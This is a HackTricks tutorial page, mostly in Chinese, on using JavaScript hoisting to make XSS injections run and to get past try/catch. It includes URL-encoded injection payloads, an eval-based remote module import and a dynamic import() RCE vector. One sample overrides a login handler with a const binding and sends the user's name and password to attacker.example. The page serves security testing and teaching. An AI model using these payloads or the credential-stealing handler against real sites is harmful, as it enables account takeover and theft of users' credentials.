JS Hoisting

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

在 JavaScript 语言中,存在一种称为 Hoisting 的机制:变量、函数、class 或 import 的声明在代码执行之前,会在概念上被提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行,运行时会对脚本做多次遍历。

在第一遍扫描中,引擎会解析代码以检查语法错误并将其转换为抽象语法树。这个阶段包括 hoisting,某些声明会被移动到执行上下文的顶部。如果解析阶段成功(即没有语法错误),脚本执行会继续进行。

需要理解的是:

  1. 脚本必须没有语法错误才能被执行。必须严格遵守语法规则。
  2. 由于 hoisting,代码在脚本中的位置会影响执行,尽管实际执行的代码可能与其文本表示不同。

Hoisting 的类型

根据 MDN 的说明,JavaScript 中有四种不同的 hoisting 类型:

  1. Value Hoisting:允许在变量声明之前,在其作用域内使用该变量的值。
  2. Declaration Hoisting:允许在变量声明之前在其作用域内引用该变量而不会引发 ReferenceError,但该变量的值将是 undefined
  3. 这种类型会在其作用域内改变行为,因为变量在其实际声明行之前就被声明。
  4. 声明的副作用会在包含它的其余代码被求值之前发生。

具体来说,函数声明表现为类型 1 的 hoisting 行为。var 关键字表现为类型 2 的行为。词汇性声明(lexical declarations),包括 letconstclass,表现为类型 3 的行为。最后,import 语句比较特殊,它具有类型 1 和类型 4 的 hoisting 行为。

场景

因此,如果在某些场景中你能够在一个未声明的对象被使用之后 Inject JS code after an undeclared object,你可以通过声明它来 fix the syntax(这样你的代码会被执行,而不是抛出错误):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

更多场景

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting 绕过异常处理

当 sink 被包在 try { x.y(...) } catch { ... } 中时,ReferenceError 会在你的 payload 运行之前阻止执行。你可以预先声明缺失的标识符,这样调用就能继续,并且你注入的表达式会先执行:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} 在求值之前会被提升,因此解析器不再在 x.y(...) 上抛出错误;prompt()y 被解析之前执行,然后在你的代码运行之后抛出一个 TypeError

通过用 const 锁定名称来预先阻止后续声明

如果你能在顶层 function foo(){...} 被解析之前执行,使用相同名称声明一个词法绑定(例如 const foo = ...)将阻止后续的 function 声明重新绑定该标识符。这可以在 RXSS 中被滥用来劫持页面中稍后定义的关键处理程序:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notes

  • 这依赖于执行顺序和全局(顶层)作用域。
  • 如果你的 payload 在 eval() 内执行,请记住 const/leteval 内是块级作用域,不会创建全局绑定。注入一个新的 <script> 元素并在其中放入代码,以建立真正的全局 const

动态 import()(用户可控 specifiers)

服务端渲染的应用有时会将用户输入转发到 import() 以懒加载组件。如果存在像 import-in-the-middle 这样的 loader,会从 specifier 生成包装模块。被提升的 import 求值会在后续代码运行之前获取并执行攻击者控制的模块,从而在 SSR 情境中实现 RCE(参见 CVE-2023-38704)。

工具

现代扫描器开始添加显式的 hoisting payloads。KNOXSS v3.6.5 列出 “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” 和 “Hoisting Override” 测试用例;将其针对会抛出 ReferenceError/TypeError 的 RXSS 场景运行,会迅速暴露基于 hoist 的 gadget 候选。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks